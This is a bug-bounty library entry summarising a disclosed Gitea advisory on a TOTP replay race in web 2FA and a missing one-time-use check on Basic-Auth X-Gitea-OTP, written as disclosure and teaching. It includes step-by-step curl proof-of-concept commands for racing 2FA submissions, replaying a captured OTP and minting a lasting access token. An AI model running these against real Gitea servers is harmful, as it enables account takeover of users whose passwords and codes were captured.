# Gitea: TOTP TOCTOU race on web 2FA paths + missing replay check on Basic-Auth `X-Gitea-OTP` surface

Gitea's TOTP one-time-use check is racy on web 2FA and entirely absent on Basic-Auth X-Gitea-OTP, letting a captured OTP be replayed to mint sessions and PATs.

- Payout: Research
- Severity: high
- Program: Gitea
- Found by (vendor credit): Kript0r3x
- Found by: Kript0r3x
- Disclosed: 2026-07-21
- CVE: CVE-2026-20779
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-gx3v-q759-g323
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gx3v-q759-g323
- Tags: area:web domain:api domain:web impact:ato kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:race-window vuln:auth-bypass vuln:mfa-bypass vuln:race-condition vuln:signature-replay

**Target:** Web 2FA login, password-reset re-auth, and Basic-Auth API/Git-over-HTTPS OTP validation
**Root cause:** Web 2FA handlers read-validate-check-save LastUsedPasscode non-atomically (no row lock or CAS predicate), so parallel submissions both pass; the Basic-Auth path calls ValidateTOTP without ever reading or writing LastUsedPasscode.
**Steps:**
1. Obtain victim password and one live TOTP within the RFC 6238 window.
2. Defect 1: `curl -c jar.txt -b jar.txt -d 'user_name=alice&password=<known>' https://gitea.example.com/user/login` to reach 2FA-pending session.
3. Fire two parallel `POST /user/two_factor` with `-d "passcode=${PASS}"` (e.g. `curl -P 2` or backgrounded curls).
4. Both cookie jars hold authenticated sessions; verify with `curl -b jar1.txt https://gitea.example.com/user/settings`.
5. Defect 2: `curl -u "alice:<known-password>" -H "X-Gitea-OTP: 654321" https://gitea.example.com/api/v1/user` returns 200; repeat within the ~60-90s window.
6. Mint a PAT via `POST /api/v1/users/{username}/tokens` inside the window for persistence.
**How found:** Reviewed the CVE-2021-45331 fix (PR #3878) that added LastUsedPasscode and noticed the check is against an in-memory copy with a plain AllCols UPDATE (no lock/CAS), then grepped other ValidateTOTP call sites and found services/auth/basic.go never touches LastUsedPasscode.
**Exploitation:** Attacker with password + one captured OTP (AiTM/Evilginx2, infostealer, shoulder-surf) either races the victim's own 2FA submission with parallel POSTs to get two sessions from one code, or replays the code against Basic-Auth API/Git-over-HTTPS for the full skew window, minting a personal access token that outlives the OTP.
**Escalation:** Basic-Auth replay used to mint a long-lived PAT via /api/v1/users/{username}/tokens, persisting past the OTP window.
**Insight:** When a one-time-token fix adds a 'last used' column, audit every call site of the validator and check the UPDATE for a CAS predicate or row lock — in-memory inequality checks against a stale read are racy, and secondary auth surfaces (Basic-Auth, git-over-HTTPS) often skip the consume step entirely.

## Proof of concept (copied exactly from the original report)

**Parallel curl race on /user/two_factor**

```
# Step 2 — fire two identical POSTs to /user/two_factor with the captured passcode.
PASS=654321
( curl -sS -c jar1.txt -b jar.txt -X POST \
       -d "passcode=${PASS}" https://gitea.example.com/user/two_factor & )
( curl -sS -c jar2.txt -b jar.txt -X POST \
       -d "passcode=${PASS}" https://gitea.example.com/user/two_factor & )
wait

# Step 3 — both cookie jars now hold authenticated sessions for Alice.
curl -b jar1.txt https://gitea.example.com/user/settings  # 200
curl -b jar2.txt https://gitea.example.com/user/settings  # 200
```

**Basic-Auth X-Gitea-OTP replay curl**

```
curl -u "alice:<known-password>" \
     -H "X-Gitea-OTP: 654321" \
     https://gitea.example.com/api/v1/user
# → 200 OK. Repeat as many times as the time-step allows.
```

